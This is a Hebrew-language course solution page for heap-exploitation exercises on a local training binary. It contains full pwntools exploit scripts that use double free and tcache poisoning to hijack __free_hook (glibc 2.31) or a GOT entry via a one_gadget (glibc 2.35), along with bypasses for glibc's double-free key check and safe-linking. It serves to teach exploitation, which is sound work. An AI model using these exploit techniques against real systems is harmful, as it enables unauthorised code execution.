7.3 שחרור כפול וtcache poisoning פתרון
פתרון - שחרור כפול וtcache poisoning¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי וה-exploit המלא. כל הכתובות וה-offset-ים בפלט מתייחסים ל-libc ספציפי (libc-2.31 מ-Ubuntu 20.04, ובהמשך libc-2.35 מ-Ubuntu 22.04). אצלכם הם יהיו שונים - תמיד תמדדו בעצמכם ב-gdb ותשלפו סמלים מה-libc שלכם, לעולם אל תעתיקו offset עיוור.
נגדיר קודם את פונקציות העזר שמדברות עם התפריט. נשתמש בהן בכל התרגילים:
from pwn import *
context.binary = elf = ELF('./tc')
libc = ELF('./libc.so.6')
def start():
return process('./tc')
def menu(p, opt):
p.sendlineafter(b'> ', str(opt).encode())
def alloc(p, i, sz, data=b'\n'):
menu(p, 1)
p.sendlineafter(b'idx: ', str(i).encode())
p.sendlineafter(b'size: ', str(sz).encode())
p.sendafter(b'data: ', data)
def free(p, i):
menu(p, 2)
p.sendlineafter(b'idx: ', str(i).encode())
def edit(p, i, data):
menu(p, 3)
p.sendlineafter(b'idx: ', str(i).encode())
p.sendafter(b'data: ', data)
def view(p, i, n):
menu(p, 4)
p.sendlineafter(b'idx: ', str(i).encode())
return p.recv(n)
פתרון תרגיל 1 - מיפוי ה-tcache¶
מריצים תחת gdb, מקצים שני צ'אנקים 0x50 ומשחררים:
הצ'אנק ששוחרר אחרון (0x...2a0, שהיה idx 1) נמצא בראש, ואחריו idx 0 (0x...240). זו רשימת LIFO. הסתכלות על הזיכרון:
pwndbg> x/4gx 0x555555559240
0x555555559240: 0x0000555555559290 0x0000555555559010
\_ next (fd) \_ key == address of tcache_perthread_struct
שדה ה-next של idx 0 מצביע ל-idx 1, ושדה ה-key (0x...010) מצביע לתחילת ה-heap, שם יושב tcache_perthread_struct. זה בדיוק המבנה מההרצאה: next ב-offset 0, key ב-offset 8.
פתרון תרגיל 2 - בדיקת המפתח של 2.29 ועקיפתה¶
שחרור כפול נאיבי:
p = start()
alloc(p, 0, 0x50, b'A'*8)
free(p, 0)
free(p, 0)
print(p.recvall(timeout=2).decode(errors='replace'))
הפלט:
זה מגיע מההשוואה e->key == tcache בזמן השחרור השני: מכיוון שהשחרור הראשון כתב key = tcache, glibc מזהה את הצ'אנק כבר ברשימה וקורס. עכשיו העקיפה - דורסים את שדה ה-key לפני השחרור השני:
p = start()
alloc(p, 0, 0x50, b'A'*8)
free(p, 0) # bin: [0], key = tcache
edit(p, 0, b'\x00'*16) # next stays 0 (was NULL), key -> 0 (different from tcache)
free(p, 0) # passes! key != tcache, the check doesn't trigger
בדיקה ב-gdb מראה עכשיו count = 2 באותו bin, עם הצ'אנק מצביע על עצמו - כלומר שחרור כפול מוצלח. שמרנו את 8 הבתים הראשונים (ה-next, שהיה ממילא NULL) וכתבנו אפס על ה-key בלבד.
למה זה עבד: הבדיקה של 2.29 היא נקודתית - היא סומכת על שדה ה-key בתוך הצ'אנק. כל שליטה בכתיבה לצ'אנק המשוחרר (UAF) מאפשרת לזייף אותו. אם אין UAF edit, המסלול החלופי הוא fastbin dup (free(a); free(b); free(a) אחרי מילוי ה-tcache).
פתרון תרגיל 3 - leak libc דרך ה-unsorted bin¶
מקצים צ'אנק גדול מדי בשביל tcache, צ'אנק שמירה אחריו, משחררים וקוראים:
p = start()
alloc(p, 0, 0x500, b'A'*8) # chunk 0x510 -> doesn't fit in tcache
alloc(p, 1, 0x20, b'B'*8) # guard: prevents merging with top
free(p, 0) # -> unsorted bin, fd/bk = main_arena+0x60
leak = u64(view(p, 0, 0x500)[:8])
log.success('unsorted leak = %#x', leak)
מודדים את ה-offset פעם אחת ב-gdb. אחרי ה-free:
pwndbg> bins
unsortedbin
all: 0x5555555596b0 -> 0x7ffff7fac000 (main_arena+96) <- ...
pwndbg> p/x 0x7ffff7fac000 - 0x7ffff7dc0000 # leak - libc_base
$1 = 0x1ecbe0
כלומר לגרסה הזו, leak = libc_base + 0x1ecbe0. משלימים:
libc.address = leak - 0x1ecbe0
log.success('libc base = %#x', libc.address)
assert libc.address & 0xfff == 0, 'not page aligned -> libc/offset is wrong'
בדיקת השפיות: הבסיס תמיד נגמר ב-000 (alignment עמוד). אם לא - טעיתם ב-offset או שה-libc אינו הגרסה הנכונה.
פתרון תרגיל 4 - הרעלה אל __free_hook (glibc 2.31)¶
עכשיו מחברים הכל ל-exploit מלא. הנה הסקריפט מקצה לקצה על 2.31:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./tc')
libc = ELF('./libc.so.6')
# ... helper functions menu/alloc/free/edit/view go here ...
p = start()
# ---------- Stage 1: leak libc via unsorted bin ----------
alloc(p, 0, 0x500, b'A'*8)
alloc(p, 1, 0x20, b'B'*8)
free(p, 0)
leak = u64(view(p, 0, 0x500)[:8])
libc.address = leak - 0x1ecbe0 # measure it yourselves!
log.success('libc base = %#x', libc.address)
assert libc.address & 0xfff == 0
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
log.info('__free_hook = %#x system = %#x', free_hook, system)
# ---------- Stage 2: tcache poisoning to __free_hook ----------
alloc(p, 2, 0x50, b'C'*8)
alloc(p, 3, 0x50, b'D'*8)
free(p, 3) # bin: [3] count 1
free(p, 2) # bin: [2]->[3] count 2
edit(p, 2, p64(free_hook)) # 2.next = &__free_hook (no mangling, 2.31)
alloc(p, 4, 0x50, b'E'*8) # returns 2. head of the list = __free_hook
alloc(p, 5, 0x50, p64(system)) # returns a chunk on __free_hook -> writes system
# ---------- Stage 3: trigger ----------
alloc(p, 6, 0x50, b'/bin/sh\x00')
free(p, 6) # __free_hook("/bin/sh") == system("/bin/sh")
p.interactive()
מריצים ומקבלים shell:
$ python3 exploit.py
[+] libc base = 0x7ffff7dc0000
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) ...
למה זה עבד: שחררנו שני צ'אנקים לאותו bin (מונה 2), דרסנו את ה-next של הראש ל-__free_hook, ושתי הקצאות מאוחר יותר נחתו בדיוק שם. חשוב היה לשחרר שניים - עם שחרור בודד המונה היה יורד ל-0 וההקצאה השנייה הייתה מדלגת על ה-tcache. הכל עבד גולמי כי 2.31 עוד בלי safe-linking, ו-__free_hook עדיין קיים.
איך להכליל: כל יעד כתיב שווה - GOT (ב-Partial RELRO), __malloc_hook, מבני FILE. הכלל: הקצאה שרירותית + יעד = חטיפת הרצה.
פתרון תרגיל 5 - אותה התקפה על glibc 2.35¶
מריצים את הסקריפט של תרגיל 4 על הבינארי שקומפל ב-Ubuntu 22.04, ורואים שני כשלים:
- הקריאה
libc.sym['__free_hook']מחזירה 0 - ה-hook הוסר ב-2.34. - גם אם היינו כותבים ל-
next, ה-safe-linking היה מפענח את זה לזבל - צריך לערבל.
מתקנים את שני הדברים. ראשית, פונקציית הערבול והשגת leak heap דרך safe-linking עצמו:
def encrypt(pos, ptr):
# pos = the mem address of the chunk being poisoned (== address of the next field)
return (pos >> 12) ^ ptr
# heap leak: a single freed chunk -> the mangled next is mem>>12
alloc(p, 2, 0x50, b'C'*8)
free(p, 2) # bin 0x60: [2], next = (mem2>>12) ^ 0
mangled = u64(view(p, 2, 0x50)[:8])
heap = mangled << 12 # the heap's page address (the base)
log.success('heap base = %#x', heap)
מודדים ב-gdb את ה-offset של הצ'אנק שנרעיל מבסיס ה-heap (יציב בין הרצות כי סדר ההקצאה קבוע). אצלנו הצ'אנק idx 2 יושב ב-heap + 0x2a0:
עכשיו היעד. הבינארי no-pie עם Partial RELRO, אז ה-GOT כתיב. נדרוס כניסת GOT של פונקציה שנקראת מיד (printf, שרץ בכל תפריט) ל-one_gadget. שתי הערות קריטיות:
- בדיקת הalignment של safe-linking דורשת שהצ'אנק המורעל יהיה aligned ל-16, אז נבחר כניסת GOT שכתובתה aligned ל-16.
- הפונקציה
tcache_getמאפסת את שדה ה-key (e->key = NULL), כלומר כותבת 8 בתים אחרי היעד. בגלל ש-printfנורה מיד עם הקריאה הבאה, השכן הנדרס לא מספיק להיקרא לפני שה-shell נפתח.
# find a one_gadget whose constraint holds (check in gdb!)
gadgets = [0xebc81, 0xebc85, 0xebc88, 0xebce2] # from running one_gadget ./libc.so.6
one = libc.address + 0xebc88
# choose a GOT entry aligned to 16
target = elf.got['printf']
assert target % 16 == 0, 'choose a different function whose GOT entry is aligned to 16'
# poison: reopen the chunk, build a pair, and overwrite a mangled next toward target
alloc(p, 2, 0x50, b'C'*8) # same mem2 address (LIFO)
alloc(p, 3, 0x50, b'D'*8)
mem2 = heap + 0x2a0
free(p, 3) # bin: [3] count 1
free(p, 2) # bin: [2]->[3] count 2
edit(p, 2, p64(encrypt(mem2, target))) # 2.next (mangled) -> printf@got
alloc(p, 4, 0x50, b'E'*8) # returns 2
alloc(p, 5, 0x50, p64(one)) # returns a chunk on printf@got -> writes one_gadget
# this allocation calls printf("data: ") before the write (printf is still valid),
# and then writes one_gadget to the GOT. The next call to printf (the menu) fires the gadget.
p.interactive()
מריצים ומקבלים shell גם על 2.35. אם ה-shell לא נפתח, כמעט תמיד זה אחד משניים: אילוץ ה-one_gadget לא מתקיים (בדקו ב-gdb על כתובת ה-gadget את האוגרים והמחסנית - בחרו gadget אחר), או שהיעד לא aligned ל-16 (unaligned tcache chunk detected - בחרו כניסת GOT אחרת).
למה זה עבד: ה-safe-linking אילץ אותנו לשני צעדים נוספים - leak heap וערבול ה-next. את leak ה-heap קיבלנו במתנה מה-safe-linking עצמו: צ'אנק בודד ששוחרר שומר next = (mem>>12) ^ 0 = mem>>12, כלומר את הכתובת שלו מוזזת ב-12. משם ערבלנו את היעד עם encrypt, ובגלל ש-__free_hook נעלם עברנו ליעד GOT עם one_gadget.
איך להכליל: על 2.34+ תמיד בדקו איזה יעד קיים. אם Partial RELRO - GOT. אם Full RELRO - מבני FILE (House of Apple), מטפלי exit, או הקצאה על המחסנית דרך environ.
פתרון תרגיל 6 (אתגר) - שחרור כפול טהור בלי edit¶
כשאין edit, הדרך היחידה לכתוב ל-next היא דרך ה-data של malloc - ובדיוק בשביל זה השחרור הכפול קיים: הוא נותן malloc שמחזיר צ'אנק שעדיין ראש ה-bin. הרצף:
# bypass the key check without edit: fastbin dup or freeing with an intermediate chunk
# here we assume we managed to bypass the key (in practice: fill tcache and move to fastbin)
alloc(p, 0, 0x50, b'A'*8)
free(p, 0) # bin: [0] count 1
# ... key bypass (fastbin dup / indirect overwrite) ...
free(p, 0) # bin: [0]->[0] count 2 (double free)
target = elf.got['printf'] # some target (16-byte aligned)
# alloc returns 0, and the data is written into the same memory that is still the head of the bin:
alloc(p, 1, 0x50, p64(target)) # 0.next <- target (via the data, not edit!)
alloc(p, 2, 0x50, b'B'*8) # returns 0 again, head of the list = target
alloc(p, 3, 0x50, p64(one_gadget)) # returns a chunk on target -> hijack
ההבדל מהמסלול עם edit: כאן ה-data של ההקצאה alloc(p, 1, ...) הוא מה ששותל את ה-next המורעל, כי הצ'אנק שהוקצה הוא בו זמנית עדיין ראש ה-bin (זו בדיוק המתנה של השחרור הכפול). על 2.32+ צריך גם כאן לערבל את ה-next עם encrypt ולהשיג leak heap כמו בתרגיל 5.
מתי כל מסלול עדיף: אם יש UAF edit - עדיף (פשוט וקצר, לא צריך שחרור כפול בכלל). אם אין edit אבל יש שליטה בתוכן של הקצאה חדשה - השחרור הכפול הוא הגשר שהופך את זה להרעלה.